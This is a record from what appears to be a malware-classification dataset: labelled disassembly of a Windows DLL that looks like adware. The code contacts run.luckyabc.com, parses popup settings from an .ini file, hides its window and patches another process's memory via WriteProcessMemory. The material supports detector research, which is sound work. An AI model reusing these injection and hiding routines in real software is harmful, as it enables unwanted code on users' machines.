joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003bb0
Capabilities:
Delete file
Read .ini file
Write file on windows

Disassembly:
sub esp, 0x110
mov eax, dword [0x100252c0]
xor eax, esp
mov dword [esp + 0x10c], eax
mov eax, dword [esp + 0x118]
mov dword [esp + 4], ecx
push ebp
mov ebp, dword [esp + 0x118]
mov ecx, str.http:__run.luckyabc.com_dm.php_uid21tid1ref1
mov dword [esp + 4], eax
call fcn.10003ac0
test eax, eax
jne 0x10003c02
or eax, 0xffffffff
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.1000b4b2
add esp, 0x110
ret
push edi
call fcn.100052f0
mov edi, eax
test edi, edi
je 0x10003ddc
cmp dword [edi + 4], 0
jle 0x10003ddc
push esi
push str.xxxx.tmp
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [edi + 8]
push str.http:__run.luckyabc.com_dm.php_uid21tid1ref1
push edx
push str._s__From_1_
call fcn.100055d0
mov eax, dword [edi + 4]
mov ecx, dword [edi + 8]
lea edx, [esp + 0x20]
push edx
mov dword [esp + 0x24], 0
call fcn.10003990
mov esi, eax
add esp, 0x10
mov eax, edi
call fcn.10004f50
test esi, esi
jne 0x10003c7e
lea eax, [esi - 0x66]
pop esi
pop edi
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.1000b4b2
add esp, 0x110
ret
push str.smartpopup
push esi
call fcn.1000c750
add esp, 8
test eax, eax
jne 0x10003cad
pop esi
pop edi
mov eax, 0xffffff96
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.1000b4b2
add esp, 0x110
ret
push str.poppage
push esi
call fcn.1000c750
add esp, 8
test eax, eax
jne 0x10003cdc
pop esi
pop edi
mov eax, 0xffffff95
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.1000b4b2
add esp, 0x110
ret
push str.tmpxxx.ini
call fcn.10005670
push eax
lea eax, [esp + 0x20]
push str._s_s
push eax
call fcn.1000c6c3
lea ecx, [esp + 0x28]
push 0x10021620
push ecx
call fcn.1000b909
mov edi, eax
mov eax, esi
add esp, 0x18
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10003d10
push edi
sub eax, ecx
push eax
push 1
push esi
call fcn.1000bd61
push edi
call fcn.1000bab3
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
add esp, 0x14
lea edx, [esp + 0x18]
push edx
push 0x100
push ebx
push 0x10021591
push str.poppage
push str.smartpopup
mov byte [ebx], 0
call esi
lea eax, [esp + 0x18]
push eax
push 0x100
push ebp
push 0x10021624
push str.timestay
push str.smartpopup
mov byte [ebp], 0
call esi
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x18]
push ecx
push 0x100
push eax
push 0x10021591
push str.referer
push str.smartpopup
mov byte [eax], 0
call esi
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
push edx
push 0x100
push eax
push 0x1002163c
push 0x10021640
push str.smartpopup
mov byte [eax], 0
call esi
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop esi
pop edi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.1000b4b2
add esp, 0x110
ret
mov ecx, dword [esp + 0x114]
pop edi
pop ebp
xor ecx, esp
mov eax, 0xffffff93
call fcn.1000b4b2
add esp, 0x110
ret
Function at 0x10003e10
Capabilities:
Delete file
Read .ini file
Write file on windows

Disassembly:
sub esp, 0x110
mov eax, dword [0x100252c0]
xor eax, esp
mov dword [esp + 0x10c], eax
mov eax, dword [esp + 0x118]
mov dword [esp + 4], ecx
push ebp
mov ebp, dword [esp + 0x118]
mov ecx, str.http:__run.luckyabc.com_dm.php_uid20tid1ref1
mov dword [esp + 4], eax
call fcn.10003ac0
test eax, eax
jne 0x10003e62
or eax, 0xffffffff
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.1000b4b2
add esp, 0x110
ret
push edi
call fcn.100052f0
mov edi, eax
test edi, edi
je 0x1000403c
cmp dword [edi + 4], 0
jle 0x1000403c
push esi
push str.xxxx.tmp
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [edi + 8]
push str.http:__run.luckyabc.com_dm.php_uid20tid1ref1
push edx
push str._s__From_1_
call fcn.100055d0
mov eax, dword [edi + 4]
mov ecx, dword [edi + 8]
lea edx, [esp + 0x20]
push edx
mov dword [esp + 0x24], 0
call fcn.10003990
mov esi, eax
add esp, 0x10
mov eax, edi
call fcn.10004f50
test esi, esi
jne 0x10003ede
lea eax, [esi - 0x66]
pop esi
pop edi
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.1000b4b2
add esp, 0x110
ret
push str.smartpopup
push esi
call fcn.1000c750
add esp, 8
test eax, eax
jne 0x10003f0d
pop esi
pop edi
mov eax, 0xffffff96
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.1000b4b2
add esp, 0x110
ret
push str.poppage
push esi
call fcn.1000c750
add esp, 8
test eax, eax
jne 0x10003f3c
pop esi
pop edi
mov eax, 0xffffff95
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.1000b4b2
add esp, 0x110
ret
push str.tmpxxx.ini
call fcn.10005670
push eax
lea eax, [esp + 0x20]
push str._s_s
push eax
call fcn.1000c6c3
lea ecx, [esp + 0x28]
push 0x10021620
push ecx
call fcn.1000b909
mov edi, eax
mov eax, esi
add esp, 0x18
lea ecx, [eax + 1]
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10003f70
push edi
sub eax, ecx
push eax
push 1
push esi
call fcn.1000bd61
push edi
call fcn.1000bab3
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
add esp, 0x14
lea edx, [esp + 0x18]
push edx
push 0x100
push ebx
push 0x10021591
push str.poppage
push str.smartpopup
mov byte [ebx], 0
call esi
lea eax, [esp + 0x18]
push eax
push 0x100
push ebp
push 0x10021624
push str.timestay
push str.smartpopup
mov byte [ebp], 0
call esi
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x18]
push ecx
push 0x100
push eax
push 0x10021591
push str.referer
push str.smartpopup
mov byte [eax], 0
call esi
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
push edx
push 0x100
push eax
push 0x1002163c
push 0x10021640
push str.smartpopup
mov byte [eax], 0
call esi
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop esi
pop edi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x10c]
xor ecx, esp
call fcn.1000b4b2
add esp, 0x110
ret
mov ecx, dword [esp + 0x114]
pop edi
pop ebp
xor ecx, esp
mov eax, 0xffffff93
call fcn.1000b4b2
add esp, 0x110
ret
Function at 0x10004060
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x5c
push esi
push 0x40
mov esi, eax
lea eax, [esp + 0x20]
push 0
push eax
mov dword [esp + 0x24], 0x44
call fcn.10012980
add esp, 0xc
xor eax, eax
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x1c]
push edx
push eax
push eax
push eax
push eax
push eax
push eax
push esi
push eax
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x100040c4
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0x64]
mov dword [ecx], eax
mov eax, dword [esp + 0x10]
pop esi
add esp, 0x5c
ret
test esi, esi
jne 0x100040cd
mov esi, 0x10021591
push esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x10021678
call fcn.100055d0
add esp, 0xc
xor eax, eax
pop esi
add esp, 0x5c
ret

Function at 0x10004450
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x134
mov eax, dword [0x100252c0]
xor eax, esp
mov dword [esp + 0x12c], eax
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebp, eax
test ebp, ebp
je 0x1000456b
lea eax, [esp + 0x10]
push eax
push ebp
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10004564
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, dword [esp + 0x28]
je 0x10004550
mov ecx, dword [0x1002bb40]
mov esi, dword [ecx]
mov edi, dword [0x1002bb2c]
mov ebx, dword [0x1002bb40]
test edi, edi
je 0x100044c6
cmp edi, dword [0x1002bb2c]
je 0x100044cb
call fcn.1000c933
cmp esi, ebx
je 0x10004525
test edi, edi
jne 0x100044ef
call fcn.1000c933
xor eax, eax
cmp esi, dword [eax + 0x14]
jne 0x100044e4
call fcn.1000c933
cmp dword [esi + 0x20], 0x10
jb 0x100044f3
mov eax, dword [esi + 0xc]
jmp 0x100044f6
mov eax, dword [edi]
jmp 0x100044da
lea eax, [esi + 0xc]
lea edx, [esp + 0x34]
push edx
push eax
call fcn.1000d667
add esp, 8
test eax, eax
je 0x10004586
test edi, edi
jne 0x10004521
call fcn.1000c933
xor eax, eax
cmp esi, dword [eax + 0x14]
jne 0x1000451d
call fcn.1000c933
mov esi, dword [esi]
jmp 0x100044b4
mov eax, dword [edi]
jmp 0x10004513
xor esi, esi
jmp 0x10004530
mov eax, dword [esi + 0x100264f4]
push eax
lea ecx, [esp + 0x38]
push ecx
call fcn.1000d667
add esp, 8
test eax, eax
je 0x1000459f
add esi, 4
cmp esi, 0x14
jb 0x10004530
lea edx, [esp + 0x10]
push edx
push ebp
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
je 0x10004496
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1000b4b2
add esp, 0x134
ret
lea eax, [esp + 0x34]
push eax
push str._IsSepcialProgressRuning___s
call fcn.100055d0
add esp, 8
mov eax, 1
jmp 0x1000456d
lea ecx, [esp + 0x34]
push ecx
jmp 0x1000458b
Function at 0x100052f0
Capabilities:
Get file size

Disassembly:
push ebx
push esi
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocStringLen
push str.xxxx.tmp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10005363
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jle 0x1000535d
lea eax, [edi + 1]
cmp eax, 0xf
jge 0x10005339
mov eax, 0xf
push eax
call fcn.10004ed0
mov esi, eax
mov eax, dword [esi + 8]
push edi
push eax
call fcn.10005440
mov ecx, dword [esi + 8]
add esp, 0xc
mov dword [esi + 4], edi
mov byte [edi + ecx], bl
pop edi
mov eax, esi
pop esi
pop ebx
ret
pop edi
pop esi
mov eax, ebx
pop ebx
ret
pop esi
mov eax, ebx
pop ebx
ret

Function at 0x10005440
Capabilities:
Read file on windows

Disassembly:
push ecx
push esi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocStringLen
push str.xxxx.tmp
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10005484
push str.xxxx.tmp
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateFile_errors__d__s_r_n
call fcn.10005570
add esp, 0xc
xor eax, eax
pop esi
pop ecx
ret
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x100054bb
push str.xxxx.tmp
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.SetFilePoint_Errors__d__s_r_n
call fcn.10005570
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
pop ecx
ret
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
push 0
lea eax, [esp + 8]
push eax
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x100054fc
push str.xxxx.tmp
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ReadFile_errors__d__s_r_n
call fcn.10005570
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
pop ecx
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 4]
pop esi
pop ecx
ret

Function at 0x10005bc0
Capabilities:
Terminate process

Disassembly:
push esi
push edi
push str.AnTanAdpopRunOnce
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push edi
push esi
push str.CreateMutex_result_is__08X__d
call fcn.100055d0
add esp, 0xc
test esi, esi
je 0x10005c19
cmp edi, 0xb7
jne 0x10005c19
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10021a94
call fcn.100055d0
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
ret
Function at 0x10005c80
Capabilities:
Check os version

Disassembly:
sub esp, 0x98
mov eax, dword [0x100252c0]
xor eax, esp
mov dword [esp + 0x94], eax
lea eax, [esp]
push eax
mov dword [esp + 4], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x10005cc3
cmp dword [esp + 0x10], 2
jne 0x10005cc3
cmp dword [esp + 4], 6
jne 0x10005cc3
mov eax, 1
cmp dword [esp + 8], eax
je 0x10005cc5
xor eax, eax
mov ecx, dword [esp + 0x94]
xor ecx, esp
call fcn.1000b4b2
add esp, 0x98
ret
Function at 0x10005e80
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
push edi
mov edi, eax
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push str.IsWow64Process
push str.kernel32
mov ebp, eax
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x10005ece
test ebp, ebp
jne 0x10005ec4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
jmp 0x10005ec6
mov eax, ebp
lea ecx, [esp + 0x10]
push ecx
push eax
call esi
cmp dword [esp + 0x10], 0
mov eax, dword [esp + 0x24]
je 0x10005f4e
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x10005f01
lea edx, [esp + 0x10]
push edx
push 0x40
push 0xa
push eax
push ebx
call esi
test eax, eax
jne 0x10005f01
pop edi
pop esi
pop ebp
mov eax, 0xfffffffe
pop ebx
add esp, 0xc
ret
lea eax, [esp + 0x10]
push eax
push 4
push 5
push edi
push ebx
call esi
test eax, eax
je 0x10006031
mov ecx, dword [esp + 0x20]
push 0
push 5
push ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10006031
push 5
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x10]
push edx
push eax
push 5
push edi
push ebx
call esi
jmp 0x10006023
test eax, eax
je 0x10005fac
lea ecx, [esp + 0x10]
push ecx
push 0x40
lea edx, [esp + 0x1c]
mov dword [esp + 0x20], eax
push edx
lea eax, [esp + 0x24]
push eax
push ebx
mov dword [esp + 0x28], 0xa
call fcn.10005ce0
test eax, eax
jge 0x10005fac
cmp eax, 0xc0000045
jne 0x10005ef4
cmp ebx, 0xffffffff
jne 0x10005ef4
lea ecx, [esp + 0x10]
push ecx
push 0x40
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x24]
push eax
push ebx
call fcn.10005ce0
test eax, eax
jl 0x10005ef4
lea ecx, [esp + 0x10]
push ecx
push 4
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x20]
push eax
push ebx
mov dword [esp + 0x2c], 5
mov dword [esp + 0x28], edi
call fcn.10005ce0
test eax, eax
jge 0x10005ffa
cmp eax, 0xc0000045
jne 0x10006031
cmp ebx, 0xffffffff
jne 0x10006031
lea ecx, [esp + 0x10]
push ecx
push 4
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x20]
push eax
push ebx
call fcn.10005ce0
test eax, eax
jl 0x10006031
mov ecx, dword [esp + 0x20]
push ecx
push ebx
call fcn.10005d50
test eax, eax
je 0x10006031
push 5
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
push 5
push edi
mov edi, dword [esp + 0x18]
lea esi, [esp + 0x18]
call fcn.10005d00
test eax, eax
je 0x10006031
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0xc
ret
Function at 0x10008750
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x1001e9b0
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push ebp
push esi
push edi
mov eax, dword [0x100252c0]
xor eax, esp
push eax
lea eax, [esp + 0x1c]
mov dword fs:[0], eax
mov edi, dword [esp + 0x2c]
xor ebx, ebx
lea eax, [edi + 0x40]
lea ebp, [edi + 4]
mov dword [edi], vtable.CWebBrowser.0
mov dword [ebp], vtable.CWebBrowser.1.0
mov dword [edi + 8], vtable.CWebBrowser.2.0
mov dword [edi + 0xc], vtable.CWebBrowser.3.0
mov dword [edi + 0x10], vtable.CWebBrowser.4.0
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov byte [edi + 0x2c], bl
mov byte [edi + 0x2d], bl
mov byte [edi + 0x2e], bl
mov byte [edi + 0x2f], bl
mov dword [edi + 0x30], ebx
mov byte [edi + 0x34], 1
push eax
mov dword [edi + 0x38], vtable.CExternal.0
call fcn.10007160
mov dword [edi + 0x3c], ebx
mov dword [edi + 0x64], ebx
mov dword [edi + 0x68], ebx
mov dword [esp + 0x24], ebx
lea esi, [edi + 0x74]
mov dword [edi + 0x6c], ebx
mov dword [edi + 0x70], ebx
mov dword [esi], ebx
mov dword [edi + 0x78], ebx
mov eax, 0xf
mov dword [edi + 0x94], eax
mov dword [edi + 0x90], ebx
mov byte [edi + 0x80], bl
mov dword [edi + 0xb0], eax
mov dword [edi + 0xac], ebx
mov byte [edi + 0x9c], bl
mov dword [edi + 0xcc], eax
mov dword [edi + 0xc8], ebx
mov byte [edi + 0xb8], bl
mov byte [esp + 0x24], 5
push 0x10021bd4
mov dword [edi + 0xd0], ebx
call fcn.100055d0
add esp, 4
push esi
xor eax, eax
push ebx
mov dword [edi + 0x1c], eax
mov dword [edi + 0x20], eax
push 0x1012
mov dword [edi + 0x24], eax
push ebx
mov dword [edi + 0x28], eax
call dword [sym.imp.ole32.dll_StgCreateDocfile]
push str.sdfsdf__
mov dword [esp + 0x18], eax
call fcn.100055d0
mov eax, dword [esp + 0x18]
add esp, 4
cmp eax, ebx
jne 0x10008928
push str.StgCreateDocfile_Success
call fcn.100055d0
mov esi, dword [esi]
add esp, 4
lea eax, [edi + 0x78]
push eax
push esi
push ebp
push ebx
push 1
push 0x1001f35c
push 0x1001f3dc
call dword [sym.imp.ole32.dll_OleCreate]
test eax, eax
jne 0x10008919
push str.OleCreate_Success
mov dword [edi + 0x6c], 1
call fcn.100055d0
xor ebp, ebp
add esp, 4
mov dword [esp + 0x14], ebp
lea esi, [esp + 0x18]
mov eax, edi
mov byte [esp + 0x24], 6
call fcn.10009a60
mov esi, dword [eax]
cmp esi, ebx
je 0x100088dc
mov eax, dword [esi]
mov ecx, dword [eax + 4]
push esi
call ecx
mov ebp, esi
mov dword [esp + 0x14], ebp
mov eax, dword [esp + 0x18]
cmp eax, ebx
je 0x100088ec
mov edx, dword [eax]
push eax
mov eax, dword [edx + 8]
call eax
cmp ebp, ebx
je 0x100088fe
mov ecx, dword [ebp]
mov edx, dword [ecx + 0xf0]
push 1
push ebp
call edx
mov ebx, edi
call fcn.10008ad0
mov byte [esp + 0x24], 5
test ebp, ebp
je 0x10008936
mov eax, dword [ebp]
mov ecx, dword [eax + 8]
push ebp
call ecx
jmp 0x10008936
push str.OleCreate_Err
call fcn.100055d0
add esp, 4
jmp 0x10008936
push eax
push str.StgCreateDocfile_Err_hResult__08X
call fcn.100055d0
add esp, 8
mov eax, edi
mov ecx, dword [esp + 0x1c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x14
ret 4
Function at 0x1000b160
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1001ea0d
mov eax, dword fs:[0]
push eax
sub esp, 0x1f4
mov eax, dword [0x100252c0]
xor eax, esp
mov dword [esp + 0x1ec], eax
push ebx
push esi
mov eax, dword [0x100252c0]
xor eax, esp
push eax
lea eax, [esp + 0x200]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
lea ecx, [esp + 0x10]
push ecx
mov dword [esp + 0x14], 0
call fcn.10002e30
mov esi, eax
add esp, 4
test esi, esi
je 0x1000b1d2
mov edx, dword [esp + 0x10]
push esi
push edx
call fcn.10002f70
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push 0
call dword [sym.imp.ole32.dll_OleInitialize]
mov dword [0x1002ba6c], 1
call fcn.10002b20
test eax, eax
je 0x1000b289
cmp dword [0x10027fbc], 0
jne 0x1000b204
mov dword [0x10027fbc], 0x1e
lea eax, [esp + 0x24]
push eax
call fcn.1000ad00
push 0
lea ecx, [esp + 0x18]
push ecx
push 0
push 0x30
mov dword [esp + 0x218], 0
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x20]
mov ecx, dword [esp + 0x14]
sub edx, eax
push edx
mov edx, dword [esp + 0x20]
sub edx, ecx
push edx
push eax
push ecx
lea ebx, [esp + 0x34]
call fcn.1000aa00
test eax, eax
je 0x1000b261
mov eax, dword [esp + 0x28]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.1000abe0
call fcn.10005c80
test eax, eax
jne 0x1000b26f
call fcn.10002880
call fcn.10002ac0
lea ecx, [esp + 0x24]
push ecx
mov dword [esp + 0x20c], 0xffffffff
call fcn.1000ad80
call dword [sym.imp.ole32.dll_OleUninitialize]
xor eax, eax
mov ecx, dword [esp + 0x200]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [esp + 0x1ec]
xor ecx, esp
call fcn.1000b4b2
mov esp, ebp
pop ebp
ret

Function at 0x1000b2f0
Capabilities:
Create thread
Resume thread

Disassembly:
sub esp, 0x14
push ebx
mov ebx, dword [esp + 0x24]
push edi
push ebx
call fcn.100055d0
add esp, 4
call fcn.10005bc0
xor edi, edi
push edi
lea eax, [esp + 0x10]
push eax
push 0x1002baf0
mov dword [esp + 0x18], 1
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], edi
mov dword [esp + 0x24], edi
call sub.gdiplus.dll_GdiplusStartup
cmp dword [0x1002baf8], edi
jne 0x1000b35f
push esi
lea ecx, [esp + 0xc]
push ecx
push 4
push edi
push 0x1000b2c0
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
cmp esi, edi
je 0x1000b35e
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [0x1002baf8], esi
pop esi
mov eax, dword [0x1002baf4]
cmp eax, edi
je 0x1000b388
push 0x64
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x1000b391
mov edx, dword [0x1002baf4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x1002baf4], edi
push ebx
call fcn.1000b160
add esp, 4
pop edi
pop ebx
add esp, 0x14
ret
Function at 0x1000b3a0
Capabilities:
Create thread
Resume thread

Disassembly:
sub esp, 0x10
push esi
push edi
mov edi, dword [esp + 0x1c]
mov edx, edi
test edi, edi
jne 0x1000b3b4
mov edx, 0x10021591
mov eax, edx
lea esi, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000b3c0
sub eax, esi
push eax
push edx
mov ecx, 0x10026954
call fcn.100048c0
cmp dword [0x1002696c], 0x10
mov eax, dword [0x10026958]
jae 0x1000b3e8
mov eax, 0x10026958
push eax
call fcn.100055d0
lea eax, [esp + 0x20]
push eax
mov eax, edi
mov dword [esp + 0x24], 0
call fcn.10002e30
mov esi, eax
add esp, 8
test esi, esi
je 0x1000b420
mov ecx, dword [esp + 0x1c]
push esi
push ecx
call fcn.10002f70
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [esp + 0x16]
movzx ecx, word [esp + 0x14]
movzx edx, word [esp + 0x12]
push eax
movzx eax, word [esp + 0x14]
push ecx
movzx ecx, word [esp + 0x16]
push edx
movzx edx, word [esp + 0x16]
push eax
movzx eax, word [esp + 0x18]
push ecx
push edx
push eax
push str._04d_02d_02d_02d_02d_02d_03d
push 0x1002ba70
call fcn.1000c6c3
add esp, 0x24
lea ecx, [esp + 0x1c]
push ecx
push 4
push 0
push 0x100045b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000b48a
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call esi
jmp 0x1000b490

Function at 0x1000b4b2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100252c0]
jne 0x1000b4bc
repz ret
jmp fcn.1000dab5
Function at 0x10017719
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1000de87
and dword [ebp - 4], 0
cmp dword [0x10027680], 0
mov ebx, eax
jne 0x100177ca
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1001787b
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1001787b
push eax
call fcn.1000de15
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x10027680], eax
call esi
push eax
call fcn.1000de15
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x10027684], eax
call esi
push eax
call fcn.1000de15
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x10027688], eax
call esi
push eax
call fcn.1000de15
pop ecx
mov dword [0x10027690], eax
test eax, eax
je 0x100177ca
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1000de15
pop ecx
mov dword [0x1002768c], eax
mov eax, dword [0x1002768c]
cmp eax, ebx
je 0x10017822
cmp dword [0x10027690], ebx
je 0x10017822
push eax
call fcn.1000de90
push dword [0x10027690]
mov esi, eax
call fcn.1000de90
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10017822
test edi, edi
je 0x10017822
call esi
test eax, eax
je 0x10017819
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x10017819
test byte [ebp - 0xc], 1
jne 0x10017822
or dword [ebp + 0x10], 0x200000
jmp 0x1001785b
mov eax, dword [0x10027684]
cmp eax, ebx
je 0x1001785b
push eax
call fcn.1000de90
pop ecx
test eax, eax
je 0x1001785b
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1001785b
mov eax, dword [0x10027688]
cmp eax, ebx
je 0x1001785b
push eax
call fcn.1000de90
pop ecx
test eax, eax
je 0x1001785b
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x10027680]
call fcn.1000de90
pop ecx
test eax, eax
je 0x1001787b
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1001787d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret